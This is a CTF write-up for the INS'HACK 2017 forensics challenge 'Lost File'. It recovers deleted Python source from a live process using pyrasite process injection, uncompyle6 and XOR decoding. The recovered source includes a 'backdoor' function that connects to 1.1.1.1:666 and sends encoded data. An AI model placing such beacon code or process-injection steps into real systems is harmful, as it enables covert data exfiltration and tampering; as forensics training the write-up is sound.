INS'HACK 2017 - Forensics 225 Lost File
Category: writeupsTags: inshack-2017 forensics
Lost File
Forensics - 225 Points
Heeelp! I did a rm
on my python file. All my work is gone! Would you help me restore it?
I usually work with a virtualenv if this info can help you.. ssh lost-file@lost-file.ctf.insecurity-insa.fr (password lost-file)
Writeup
lost-file@c080471a8de3:/app$ ps aux | grep python
lost-fi+ 6 0.0 0.1 21908 2772 ? S 12:09 0:00 python2 /app/challenge.py
My first approach was to look for a pyc still somewhere resident in /proc/$PID/fd/$FD
, but alas, I had no luck. Yet, the python program was still running and hitherto still in memory.
A month ago I remember reading on HackerNews a gist about how to recover lost Python source code if it’s still resident in-memory. I tried it with varying degrees of success, but there were some missing dependencies so I’ll report the full install procedure below:
lost-file@c080471a8de3:/app$ virtualenv pyrasite
lost-file@c080471a8de3:/app$ pyrasite/bin/pip install pyrasite
lost-file@c080471a8de3:/app$ pyrasite/bin/pip install uncompyle6
lost-file@c080471a8de3:/app$ pyrasite/bin/pyrasite-shell $(pgrep -f "python")
You can now use several payloads.
If you want to extract the source, you’ll need meliae, a python memory analysis tool. On the challenge box I had problems while executing pyrasite/bin/pip install meliae
so I resorted to manually downloading and compiling the source:
lost-file@6083c16196b7:/app$ pip install Cython
lost-file@6083c16196b7:/app$ pyrasite/bin/pip install --download="." meliae
lost-file@6083c16196b7:/app$ tar -zxvf meliae-0.4.0.tar.gz ; rm meliae-0.4.0.tar.gz; cd meliae-0.4.0/ ;
lost-file@6083c16196b7:/app/meliae-0.4.0$ python ./setup.py install
and then, when the attached python shell popped:
>>> import uncompyle6
>>> import sys
>>> uncompyle6.main.uncompyle(
>>> 2.7, x.func_code, sys.stdout
>>> )
# Embedded file name: /app/challenge.py
return ''.join((chr(ord(c) ^ ord(k)) for c, k in izip(base64.decodestring(a), cycle(b))))
We also used globals()
to get the c
var:
c = '\nbgwMFA0XEUYXCgIPBxFvDwkVDhYWRRYfF28HFg0IRQ8QABMQDQoJFUQMDBQNFxFGBxwCCAdvbwIBA0ECAwwJTk1fa0RCRUUWFgwPEARNRz8LEEEMAxMARgIECAgHAUdPbm8FAQRFAQkKAElNWG9FRkRFERYLCxEATEc2AQ4JRQILCwRGS29vAgEDQQIXCwZOTV9rREJFRQEICgMFDkUdbERFQUQFCQoEBQlBD2hFRUZEDlxGNRUwDgFcEQc0EFQpFCIKCAhHXmxERUFEGlgJBwkHBQVCFkkSXkdDSggKDAhMBgkWSgoXAkwESDoNFwFOBkxIRAQKF0YFSQNECwtFHA0VSRdOBhwFCABJEEtMTGxuAQQCQgcEBQ8BDgsQTUxcbkVBREIBBBIFWEMsCFEiLTZQUjUzJB8tCSALNiZRVSlVFgsjIwpRMCFVODEaAixEbkVBREJvRUZERRJEX0UWCQcOBBBMFgoFDwAVTBEKBg0BEU8lJDosKCExTUQRCgYNARFPNy0mLjk3MTMhIyhMbERFQUQRSwYJCgsEBxZNTURVS1BKU0tUREhFV1JUTExsREVBRBFLFgMKAUkcSkcND0ZJCk1Lb0VGREUSShEACwJMAQAQA0xvbA0DQTs9CwQLATo+RF9YRUQ7OgwFCws6OUZfa0RCRUUAEQsCTEtvRUZERQMFAQ4BCQsXSU1o\n'
Decoding c and using this xor cracker lead us to the source of /app/challenge.py
:
import socket
import sys
from itertools import cycle
def fail():
printf("You have failed")
def done():
printf("Well done")
def func():
global x
global k
k="WpUhe9pcVu1OpGklj";
x=lambda s,t:"".join(chr(ord(a)^ord(b)) for a,b in zip(s,cycle(t)))
def backdoor():
data="Hj4GKR53QQAzKmEjRD40O1sjGAo4VE0YUxgI"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("1.1.1.1", 666))
s.send(x("hi",k))
s.send(data)
if __name__ == "__main__":
func()
backdoor()
In the backdoor
function, xoring the base64-decoded data
var (“Hj4GKR53QQAzKmEjRD40O1sjGAo4VE0YUxgI”) with k
(“WpUhe9pcVu1OpGklj”) gives us the flag, which decodes to INSA{N1ce_Pl4y_W1th_P1th0N}
.